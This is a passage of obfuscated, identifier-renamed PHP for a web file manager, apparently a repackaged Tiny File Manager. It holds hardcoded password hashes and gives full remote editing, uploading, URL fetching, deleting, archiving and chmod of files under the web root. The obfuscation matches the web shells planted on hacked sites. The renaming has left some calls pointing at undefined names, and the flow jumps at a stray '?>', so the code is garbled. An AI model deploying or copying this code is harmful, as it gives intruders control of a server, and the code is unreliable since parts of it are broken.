'$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW','user'=>'$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' );$f61=array('user');$z62=false;$l63=array();$h64=true;$p65='vs';$s66=true;$i67='Etc/UTC';$n68=$_SERVER['DOCUMENT_ROOT'];$w69='';$f70=$_SERVER['HTTP_HOST'];$y71='UTF-8';$h72='m/d/Y g:i A';$i73='';$f74='';$v75='';$h76=array();$l77='google';$x78=true;$e79=5000000000;$j80=2000000;$p81='OFF';$b82=true;$t83=array('127.0.0.1','::1' );$w84=array('0.0.0.0','::' );$i85=array('css-bootstrap'=>'','css-dropzone'=>'','css-font-awesome'=>'','css-highlightjs'=>'','js-ace'=>'','js-bootstrap'=>'','js-dropzone'=>'','js-jquery'=>'','js-jquery-datatables'=>'','js-highlightjs'=>'','pre-jsdelivr'=>'','pre-cloudflare'=>'');$n86=__DIR__.'/config.php';if(is_readable($n86)){@include($n86);}define('MAX_UPLOAD_SIZE',$e79);define('UPLOAD_CHUNK_SIZE',$j80);if(!defined('FM_SESSION_ID')){define('FM_SESSION_ID','filemanager');}$j87=new k88();$x89=isset($j87->$a90['lang'])?$j87->$a90['lang']:'en';$m91=isset($j87->$a90['show_hidden'])?$j87->$a90['show_hidden']:true;$s92=isset($j87->$a90['error_reporting'])?$j87->$a90['error_reporting']:true;$a93=isset($j87->$a90['hide_Cols'])?$j87->$a90['hide_Cols']:true;$a94=isset($j87->$a90['theme'])?$j87->$a90['theme']:'light';define('FM_THEME',$a94);$e95=array('en'=>'English');if($s92==true){@ini_set('error_reporting',E_ALL);@ini_set('display_errors',1);}else{@ini_set('error_reporting',E_ALL);@ini_set('display_errors',0);}if(defined('FM_EMBED')){$n59=false;$x78=false;}else{@set_time_limit(600);date_default_timezone_set($i67);ini_set('default_charset','UTF-8');if(version_compare(PHP_VERSION,'5.6.0','<')&&function_exists('mb_internal_encoding')){mb_internal_encoding('UTF-8');}if(function_exists('mb_regex_encoding')){mb_regex_encoding('UTF-8');}session_cache_limiter('');session_name(FM_SESSION_ID);function h0($e96,$b97,$b98,$v99){if($e96==2){session_abort();session_id(session_create_id());@session_start();}}set_error_handler('session_error_handling_function');session_start();restore_error_handler();}if(empty($_SESSION['token'])){$_SESSION['token']=bin2hex(random_bytes(32));}if(empty($l60)){$n59=false;}$h100=isset($_SERVER['HTTPS'])&&($_SERVER['HTTPS']=='on'||$_SERVER['HTTPS']==1)||isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https';if(isset($_SESSION[FM_SESSION_ID]['logged'])&&!empty($l63[$_SESSION[FM_SESSION_ID]['logged']])){$o101=s19(dirname($_SERVER['PHP_SELF']));$w69=$w69.$o101.DIRECTORY_SEPARATOR.$l63[$_SESSION[FM_SESSION_ID]['logged']];}$w69=s19($w69);defined('FM_ROOT_URL')||define('FM_ROOT_URL',($h100?'https':'http').'://'.$f70.(!empty($w69)?'/'.$w69:''));defined('FM_SELF_URL')||define('FM_SELF_URL',($h100?'https':'http').'://'.$f70.$_SERVER['PHP_SELF']);if(isset($_GET['logout'])){unset($_SESSION[FM_SESSION_ID]['logged']);unset($_SESSION['token']);b17(FM_SELF_URL);}if($p81!='OFF'){function m1(){if(array_key_exists('HTTP_CF_CONNECTING_IP',$_SERVER)){return $_SERVER["HTTP_CF_CONNECTING_IP"];}else if(array_key_exists('HTTP_X_FORWARDED_FOR',$_SERVER)){return $_SERVER["HTTP_X_FORWARDED_FOR"];}else if(array_key_exists('REMOTE_ADDR',$_SERVER)){return $_SERVER['REMOTE_ADDR'];}else if(array_key_exists('HTTP_CLIENT_IP',$_SERVER)){return $_SERVER['HTTP_CLIENT_IP'];}return '';}$q102=m1();$x103=false;$w104=in_array($q102,$t83);$z105=in_array($q102,$w84);if($p81=='AND'){if($w104==true&&$z105==false){$x103=true;}}else if($p81=='OR'){if($w104==true||$z105==false){$x103=true;}}if($x103==false){trigger_error('User connection denied from: '.$q102,E_USER_WARNING);if($b82==false){i29(z57('Access denied. IP restriction applicable'),'error');k53();k52();}exit();}}if($n59){if(isset($_SESSION[FM_SESSION_ID]['logged'],$l60[$_SESSION[FM_SESSION_ID]['logged']])){}elseif(isset($_POST['fm_usr'],$_POST['fm_pwd'],$_POST['token'])){sleep(1);if(function_exists('password_verify')){if(isset($l60[$_POST['fm_usr']])&&isset($_POST['fm_pwd'])&&password_verify($_POST['fm_pwd'],$l60[$_POST['fm_usr']])&&k8($_POST['token'])){$_SESSION[FM_SESSION_ID]['logged']=$_POST['fm_usr'];i29(z57('You are logged in'));b17(FM_ROOT_URL);}else{unset($_SESSION[FM_SESSION_ID]['logged']);i29(z57('Login failed. Invalid username or password'),'error');b17(FM_ROOT_URL);}}else{i29(z57('password_hash not supported, Upgrade PHP version'),'error');;}}else{unset($_SESSION[FM_SESSION_ID]['logged']);k53();?>
".z57('Root path')." \"{$n68}\" ".z57('not found!')." ";exit;}defined('FM_SHOW_HIDDEN')||define('FM_SHOW_HIDDEN',$m91);defined('FM_ROOT_PATH')||define('FM_ROOT_PATH',$n68);defined('FM_LANG')||define('FM_LANG',$x89);defined('FM_FILE_EXTENSION')||define('FM_FILE_EXTENSION',$i73);defined('FM_UPLOAD_EXTENSION')||define('FM_UPLOAD_EXTENSION',$f74);defined('FM_EXCLUDE_ITEMS')||define('FM_EXCLUDE_ITEMS',(version_compare(PHP_VERSION,'7.0.0','<')?serialize($h76):$h76));defined('FM_DOC_VIEWER')||define('FM_DOC_VIEWER',$l77);define('FM_READONLY',$z62||($n59&&!empty($f61)&&isset($_SESSION[FM_SESSION_ID]['logged'])&&in_array($_SESSION[FM_SESSION_ID]['logged'],$f61)));define('FM_IS_WIN',DIRECTORY_SEPARATOR=='\\');if(!isset($_GET['p'])&&empty($_FILES)){b17(FM_SELF_URL.'?p=');}$k106=isset($_GET['p'])?$_GET['p']:(isset($_POST['p'])?$_POST['p']:'');$k106=s19($k106);$m107=file_get_contents('php://input');$_POST=(strpos($m107,'ajax')!=FALSE&&strpos($m107,'save')!=FALSE)?json_decode($m107,true):$_POST;define('FM_PATH',$k106);define('FM_USE_AUTH',$n59);define('FM_EDIT_FILE',$s66);defined('FM_ICONV_INPUT_ENC')||define('FM_ICONV_INPUT_ENC',$y71);defined('FM_USE_HIGHLIGHTJS')||define('FM_USE_HIGHLIGHTJS',$h64);defined('FM_HIGHLIGHTJS_STYLE')||define('FM_HIGHLIGHTJS_STYLE',$p65);defined('FM_DATETIME_FORMAT')||define('FM_DATETIME_FORMAT',$h72);unset($k106,$n59,$y71,$h64,$p65);if((isset($_SESSION[FM_SESSION_ID]['logged'],$l60[$_SESSION[FM_SESSION_ID]['logged']])||!FM_USE_AUTH)&&isset($_POST['ajax'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){header('HTTP/1.0 401 Unauthorized');die("Invalid Token.");}if(isset($_POST['type'])&&$_POST['type']=="search"){$s108=$_POST['path']=="."?'':$_POST['path'];$t109=e42(s19($s108),$_POST['content']);echo json_encode($t109);exit();}if(isset($_POST['type'])&&$_POST['type']=="save"){$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if(!is_dir($h110)){b17(FM_SELF_URL.'?p=');}$b98=$_GET['edit'];$b98=s19($b98);$b98=str_replace('/','',$b98);if($b98==''||!is_file($h110.'/'.$b98)){i29(z57('File not found'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}header('X-XSS-Protection:0');$c112=$h110.'/'.$b98;$v113=$_POST['content'];$i114=fopen($c112,"w");$e115=@fwrite($i114,$v113);fclose($i114);if($e115===false){header("HTTP/1.1 500 Internal Server Error");die("Could Not Write File! - Check Permissions / Ownership");}die(true);}if(isset($_POST['type'])&&$_POST['type']=="backup"&&!empty($_POST['file'])){$o116=s19($_POST['file']);$s117=FM_ROOT_PATH.'/';if(!empty($_POST['path'])){$s118=s19($_POST['path']);$s117.="{$s118}/";}$e119=date("dMy-His");$b120="{$o116}-{$e119}.bak";$g121=$s117.$o116;try{if(!file_exists($g121)){throw new w122("File {$o116} not found");}if(copy($g121,$s117.$b120)){echo"Backup {$b120} created";}else{throw new w122("Could not copy file {$o116}");}}catch(Exception $d123){echo $d123->v124();}}if(isset($_POST['type'])&&$_POST['type']=="settings"){global $j87,$x89,$s92,$m91,$e95,$a93,$a94;$l125=$_POST['js-language'];b22([]);if(!array_key_exists($l125,$e95)){$l125='en';}$n126=isset($_POST['js-error-report'])&&$_POST['js-error-report']=="true"?true:false;$k127=isset($_POST['js-show-hidden'])&&$_POST['js-show-hidden']=="true"?true:false;$s128=isset($_POST['js-hide-cols'])&&$_POST['js-hide-cols']=="true"?true:false;$w129=$_POST['js-theme-3'];if($j87->$a90['lang']!=$l125){$j87->$a90['lang']=$l125;$x89=$l125;}if($j87->$a90['error_reporting']!=$n126){$j87->$a90['error_reporting']=$n126;$s92=$n126;}if($j87->$a90['show_hidden']!=$k127){$j87->$a90['show_hidden']=$k127;$m91=$k127;}if($j87->$a90['show_hidden']!=$k127){$j87->$a90['show_hidden']=$k127;$m91=$k127;}if($j87->$a90['hide_Cols']!=$s128){$j87->$a90['hide_Cols']=$s128;$a93=$s128;}if($j87->$a90['theme']!=$w129){$j87->$a90['theme']=$w129;$a94=$w129;}$j87->g50();echo true;}if(isset($_POST['type'])&&$_POST['type']=="pwdhash"){$a130=isset($_POST['inputPassword2'])&&!empty($_POST['inputPassword2'])?password_hash($_POST['inputPassword2'],PASSWORD_DEFAULT):'';echo $a130;}if(isset($_POST['type'])&&$_POST['type']=="upload"&&!empty($_REQUEST["uploadurl"])){$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}function x2($x131){global $j132;echo json_encode($x131);}function s3(){global $h110,$x133,$l134;return $h110."/".basename($x133->$x135);}$e136=!empty($_REQUEST["uploadurl"])&&preg_match("|^http(s)?://.+$|",stripslashes($_REQUEST["uploadurl"]))?stripslashes($_REQUEST["uploadurl"]):null;$k137=parse_url($e136,PHP_URL_HOST);$k138=parse_url($e136,PHP_URL_PORT);$c139=[22,23,25,3306];if(preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i",$k137)||in_array($k138,$c139)){$h140=array("message"=>"URL is not allowed");x2(array("fail"=>$h140));exit();}$e141=false;$l134=tempnam(sys_get_temp_dir(),"upload-");$x133=new b142();$x133->$x135=trim(basename($e136),".\x00..\x20");$i143=(FM_UPLOAD_EXTENSION)?explode(',',FM_UPLOAD_EXTENSION):false;$w144=strtolower(pathinfo($x133->$x135,PATHINFO_EXTENSION));$l145=($i143)?in_array($w144,$i143):true;$h140=false;if(!$l145){$h140=array("message"=>"File extension is not allowed");x2(array("fail"=>$h140));exit();}if(!$e136){$z146=false;}else if($e141){@$e147=fopen($l134,"w");@$p148=curl_init($e136);curl_setopt($p148,CURLOPT_NOPROGRESS,false);curl_setopt($p148,CURLOPT_FOLLOWLOCATION,true);curl_setopt($p148,CURLOPT_FILE,$e147);@$z146=curl_exec($p148);$f149=curl_getinfo($p148);if(!$z146){$h140=array("message"=>curl_error($p148));}@curl_close($p148);fclose($e147);$x133->$j150=$f149["size_download"];$x133->$e151=$f149["content_type"];}else{$a152=stream_context_create();@$z146=copy($e136,$l134,$a152);if(!$z146){$h140=error_get_last();}}if($z146){$z146=rename($l134,strtok(s3(),'?'));}if($z146){x2(array("done"=>$x133));}else{unlink($l134);if(!$h140){$h140=array("message"=>"Invalid url parameter");}x2(array("fail"=>$h140));}}exit();}if(isset($_GET['del'],$_POST['token'])&&!FM_READONLY){$f153=str_replace('/','',s19($_GET['del']));if($f153!=''&&$f153!='..'&&$f153!='.'&&k8($_POST['token'])){$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$u154=is_dir($h110.'/'.$f153);if(n9($h110.'/'.$f153)){$b97=$u154?z57('Folder').' %s '.z57('Deleted'):z57('File').' %s '.z57('Deleted');i29(sprintf($b97,w27($f153)));}else{$b97=$u154?z57('Folder').' %s '.z57('not deleted'):z57('File').' %s '.z57('not deleted');i29(sprintf($b97,w27($f153)),'error');}}else{i29(z57('Invalid file or folder name'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['newfilename'],$_POST['newfile'],$_POST['token'])&&!FM_READONLY){$e155=urldecode($_POST['newfile']);$s156=str_replace('/','',s19(strip_tags($_POST['newfilename'])));if(m28($s156)&&$s156!=''&&$s156!='..'&&$s156!='.'&&k8($_POST['token'])){$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if($e155=="file"){if(!file_exists($h110.'/'.$s156)){if(z11($s156)){@fopen($h110.'/'.$s156,'w')or die('Cannot open file: '.$s156);i29(sprintf(z57('File').' %s '.z57('Created'),w27($s156)));}else{i29(z57('File extension is not allowed'),'error');}}else{i29(sprintf(z57('File').' %s '.z57('already exists'),w27($s156)),'alert');}}else{if(n14($h110.'/'.$s156,false)===true){i29(sprintf(z57('Folder').' %s '.z57('Created'),$s156));}elseif(n14($h110.'/'.$s156,false)===$h110.'/'.$s156){i29(sprintf(z57('Folder').' %s '.z57('already exists'),w27($s156)),'alert');}else{i29(sprintf(z57('Folder').' %s '.z57('not created'),w27($s156)),'error');}}}else{i29(z57('Invalid characters in file or folder name'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_GET['copy'],$_GET['finish'])&&!FM_READONLY){$i157=urldecode($_GET['copy']);$i157=s19($i157);if($i157==''){i29(z57('Source path not defined'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}$p158=FM_ROOT_PATH.'/'.$i157;$i159=FM_ROOT_PATH;if(FM_PATH!=''){$i159.='/'.FM_PATH;}$i159.='/'.basename($p158);$t160=isset($_GET['move']);$t160=s19(urldecode($t160));if($p158!=$i159){$y161=trim(FM_PATH.'/'.basename($p158),'/');if($t160){$d162=c12($p158,$i159);if($d162){i29(sprintf(z57('Moved from').' %s '.z57('to').' %s',w27($i157),w27($y161)));}elseif($d162===null){i29(z57('File or folder with this path already exists'),'alert');}else{i29(sprintf(z57('Error while moving from').' %s '.z57('to').' %s',w27($i157),w27($y161)),'error');}}else{if(p13($p158,$i159)){i29(sprintf(z57('Copied from').' %s '.z57('to').' %s',w27($i157),w27($y161)));}else{i29(sprintf(z57('Error while copying from').' %s '.z57('to').' %s',w27($i157),w27($y161)),'error');}}}else{if(!$t160){$y161=trim(FM_PATH.'/'.basename($p158),'/');$f163=pathinfo($p158);$c164='';if(!is_dir($p158)){$c164='.'.$f163['extension'];}$d165=$f163['dirname'].'/'.$f163['filename'].'-'.date('YmdHis').$c164;$w166=0;$l167=1000;while(file_exists($d165)&$w166<$l167){$f163=pathinfo($d165);$d165=$f163['dirname'].'/'.$f163['filename'].'-copy'.$c164;$w166++;}if(p13($p158,$d165,False)){i29(sprintf('Copyied from %s to %s',w27($i157),w27($d165)));}else{i29(sprintf('Error while copying from %s to %s',w27($i157),w27($d165)),'error');}}else{i29(z57('Paths must be not equal'),'alert');}}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['file'],$_POST['copy_to'],$_POST['finish'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){i29(z57('Invalid Token.'),'error');}$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$q168=FM_ROOT_PATH;$g169=s19($_POST['copy_to']);if($g169!=''){$q168.='/'.$g169;}if($h110==$q168){i29(z57('Paths must be not equal'),'alert');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(!is_dir($q168)){if(!n14($q168,true)){i29('Unable to create destination folder','error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}}$t160=isset($_POST['move']);$c170=0;$t171=$_POST['file'];if(is_array($t171)&&count($t171)){foreach($t171 as $l172){if($l172!=''){$l172=s19($l172);$p158=$h110.'/'.$l172;$i159=$q168.'/'.$l172;if($t160){$d162=c12($p158,$i159);if($d162===false){$c170++;}}else{if(!p13($p158,$i159)){$c170++;}}}}if($c170==0){$b97=$t160?'Selected files and folders moved':'Selected files and folders copied';i29($b97);}else{$b97=$t160?'Error while moving items':'Error while copying items';i29($b97,'error');}}else{i29(z57('Nothing selected'),'alert');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['rename_from'],$_POST['rename_to'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){i29("Invalid Token.",'error');}$o173=urldecode($_POST['rename_from']);$o173=s19($o173);$o173=str_replace('/','',$o173);$s156=urldecode($_POST['rename_to']);$s156=s19(strip_tags($s156));$s156=str_replace('/','',$s156);$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if(m28($s156)&&$o173!=''&&$s156!=''){if(c12($h110.'/'.$o173,$h110.'/'.$s156)){i29(sprintf(z57('Renamed from').' %s '.z57('to').' %s',w27($o173),w27($s156)));}else{i29(sprintf(z57('Error while renaming from').' %s '.z57('to').' %s',w27($o173),w27($s156)),'error');}}else{i29(z57('Invalid characters in file name'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_GET['dl'],$_POST['token'])){if(!k8($_POST['token'])){i29("Invalid Token.",'error');}$l174=urldecode($_GET['dl']);$l174=s19($l174);$l174=str_replace('/','',$l174);$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if($l174!=''&&is_file($h110.'/'.$l174)){v43($h110.'/'.$l174,$l174,1024);exit;}else{i29(z57('File not found'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}}if(!empty($_FILES)&&!FM_READONLY){if(isset($_POST['token'])){if(!k8($_POST['token'])){$t109=array('status'=>'error','info'=>"Invalid Token.");echo json_encode($t109);exit();}}else{$t109=array('status'=>'error','info'=>"Token Missing.");echo json_encode($t109);exit();}$f175=false;$g176=$_POST['dzchunkindex'];$l177=$_POST['dztotalchunkcount'];$l178=s19($_REQUEST['fullpath']);$l172=$_FILES;$h110=FM_ROOT_PATH;$p179=DIRECTORY_SEPARATOR;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$c170=0;$l180=0;$i143=(FM_UPLOAD_EXTENSION)?explode(',',FM_UPLOAD_EXTENSION):false;$t109=array('status'=>'error','info'=>'Oops! Try again');$p181=$l172['file']['name'];$b182=$l172['file']['tmp_name'];$w144=pathinfo($p181,PATHINFO_FILENAME)!=''?strtolower(pathinfo($p181,PATHINFO_EXTENSION)):'';$l145=($i143)?in_array($w144,$i143):true;if(!m28($p181)&&!m28($l178)){$t109=array('status'=>'error','info'=>"Invalid File name!",);echo json_encode($t109);exit();}$j183=$h110.$p179;if(is_writable($j183)){$s117=$h110.'/'.basename($l178);$f184=substr($s117,0,strrpos($s117,"/"));if(file_exists($s117)&&!$f175&&!$w185){$v186=$w144?'.'.$w144:'';$s117=$h110.'/'.basename($l178,$v186).'_'.date('ymdHis').$v186;}if(!is_dir($f184)){$o173=umask(0);mkdir($f184,0777,true);umask($o173);}if(empty($l172['file']['error'])&&!empty($b182)&&$b182!='none'&&$l145){if($l177){$a187=@fopen("{$s117}.part",$g176==0?"wb":"ab");if($a187){$x188=@fopen($b182,"rb");if($x188){while($w189=fread($x188,4096)){fwrite($a187,$w189);}$t109=array('status'=>'success','info'=>"file upload successful");}else{$t109=array('status'=>'error','info'=>"failed to open output stream",'errorDetails'=>error_get_last());}@fclose($x188);@fclose($a187);@unlink($b182);$t109=array('status'=>'success','info'=>"file upload successful");}else{$t109=array('status'=>'error','info'=>"failed to open output stream");}if($g176==$l177-1){rename("{$s117}.part",$s117);}}else if(move_uploaded_file($b182,$s117)){if(file_exists($s117)){$t109=array('status'=>'success','info'=>"file upload successful");}else{$t109=array('status'=>'error','info'=>'Couldn\'t upload the requested file.');}}else{$t109=array('status'=>'error','info'=>"Error while uploading files. Uploaded files $l180",);}}}else{$t109=array('status'=>'error','info'=>'The specified folder for upload isn\'t writeable.');}echo json_encode($t109);exit();}if(isset($_POST['group'],$_POST['delete'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){i29(z57("Invalid Token."),'error');}$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$c170=0;$t171=$_POST['file'];if(is_array($t171)&&count($t171)){foreach($t171 as $l172){if($l172!=''){$y190=$h110.'/'.$l172;if(!n9($y190)){$c170++;}}}if($c170==0){i29(z57('Selected files and folder deleted'));}else{i29(z57('Error while deleting items'),'error');}}else{i29(z57('Nothing selected'),'alert');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['group'],$_POST['token'])&&(isset($_POST['zip'])||isset($_POST['tar']))&&!FM_READONLY){if(!k8($_POST['token'])){i29(z57("Invalid Token."),'error');}$h110=FM_ROOT_PATH;$w144='zip';if(FM_PATH!=''){$h110.='/'.FM_PATH;}$w144=isset($_POST['tar'])?'tar':'zip';if(($w144=="zip"&&!class_exists('ZipArchive'))||($w144=="tar"&&!class_exists('PharData'))){i29(z57('Operations with archives are not available'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}$t171=$_POST['file'];$q191=array();foreach($t171 as $b98){array_push($q191,s19($b98));}$t171=$q191;if(!empty($t171)){chdir($h110);if(count($t171)==1){$n192=reset($t171);$n192=basename($n192);$x193=$n192.'_'.date('ymd_His').'.'.$w144;}else{$x193='archive_'.date('ymd_His').'.'.$w144;}if($w144=='zip'){$y194=new g195();$a130=$y194->t46($x193,$t171);}elseif($w144=='tar'){$c196=new j197();$a130=$c196->t46($x193,$t171);}if($a130){i29(sprintf(z57('Archive').' %s '.z57('Created'),w27($x193)));}else{i29(z57('Archive not created'),'error');}}else{i29(z57('Nothing selected'),'alert');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['unzip'],$_POST['token'])&&!FM_READONLY){if(!k8($_POST['token'])){i29(z57("Invalid Token."),'error');}$i198=urldecode($_POST['unzip']);$i198=s19($i198);$i198=str_replace('/','',$i198);$x199=false;$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if($i198!=''&&is_file($h110.'/'.$i198)){$d200=$h110.'/'.$i198;$w144=pathinfo($d200,PATHINFO_EXTENSION);$x199=true;}else{i29(z57('File not found'),'error');}if(($w144=="zip"&&!class_exists('ZipArchive'))||($w144=="tar"&&!class_exists('PharData'))){i29(z57('Operations with archives are not available'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if($x199){$c201='';if(isset($_POST['tofolder'])){$c201=pathinfo($d200,PATHINFO_FILENAME);if(n14($h110.'/'.$c201,true)){$h110.='/'.$c201;}}if($w144=="zip"){$y194=new g195();$a130=$y194->p47($d200,$h110);}elseif($w144=="tar"){try{$l202=new y203($d200);if(@$l202->y204($h110,null,true)){$a130=true;}else{$a130=false;}}catch(Exception $d123){$a130=true;}}if($a130){i29(z57('Archive unpacked'));}else{i29(z57('Archive not unpacked'),'error');}}else{i29(z57('File not found'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}if(isset($_POST['chmod'],$_POST['token'])&&!FM_READONLY&&!FM_IS_WIN){if(!k8($_POST['token'])){i29(z57("Invalid Token."),'error');}$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}$b98=$_POST['chmod'];$b98=s19($b98);$b98=str_replace('/','',$b98);if($b98==''||(!is_file($h110.'/'.$b98)&&!is_dir($h110.'/'.$b98))){i29(z57('File not found'),'error');$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}$z205=0;if(!empty($_POST['ur'])){$z205|=0400;}if(!empty($_POST['uw'])){$z205|=0200;}if(!empty($_POST['ux'])){$z205|=0100;}if(!empty($_POST['gr'])){$z205|=0040;}if(!empty($_POST['gw'])){$z205|=0020;}if(!empty($_POST['gx'])){$z205|=0010;}if(!empty($_POST['or'])){$z205|=0004;}if(!empty($_POST['ow'])){$z205|=0002;}if(!empty($_POST['ox'])){$z205|=0001;}if(@chmod($h110.'/'.$b98,$z205)){i29(z57('Permissions changed'));}else{i29(z57('Permissions not changed'),'error');}$k111=FM_PATH;b17(FM_SELF_URL.'?p='.urlencode($k111));}$h110=FM_ROOT_PATH;if(FM_PATH!=''){$h110.='/'.FM_PATH;}if(!is_dir($h110)){b17(FM_SELF_URL.'?p=');}$f206=l20(FM_PATH);$x207=is_readable($h110)?scandir($h110):array();$q208=array();$t171=array();$r209=array_slice(explode("/",$h110),-1)[0];if(is_array($x207)&&c21($r209)){foreach($x207 as $b98){if($b98=='.'||$b98=='..'){continue;}if(!FM_SHOW_HIDDEN&&substr($b98,0,1)==='.'){continue;}$y190=$h110.'/'.$b98;if(@is_file($y190)&&c21($b98)){$t171[]=$b98;}elseif(@is_dir($y190)&&$b98!='.'&&$b98!='..'&&c21($b98)){$q208[]=$b98;}}}if(!empty($t171)){natcasesort($t171);}if(!empty($q208)){natcasesort($q208);}if(isset($_GET['upload'])&&!FM_READONLY){v55();b51(FM_PATH);function d4(){$x210=explode(',',FM_UPLOAD_EXTENSION);if(FM_UPLOAD_EXTENSION&&$x210){array_walk($x210,function(&$h211){$h211=".$h211";});return x5(',',$x210);}return '';}?>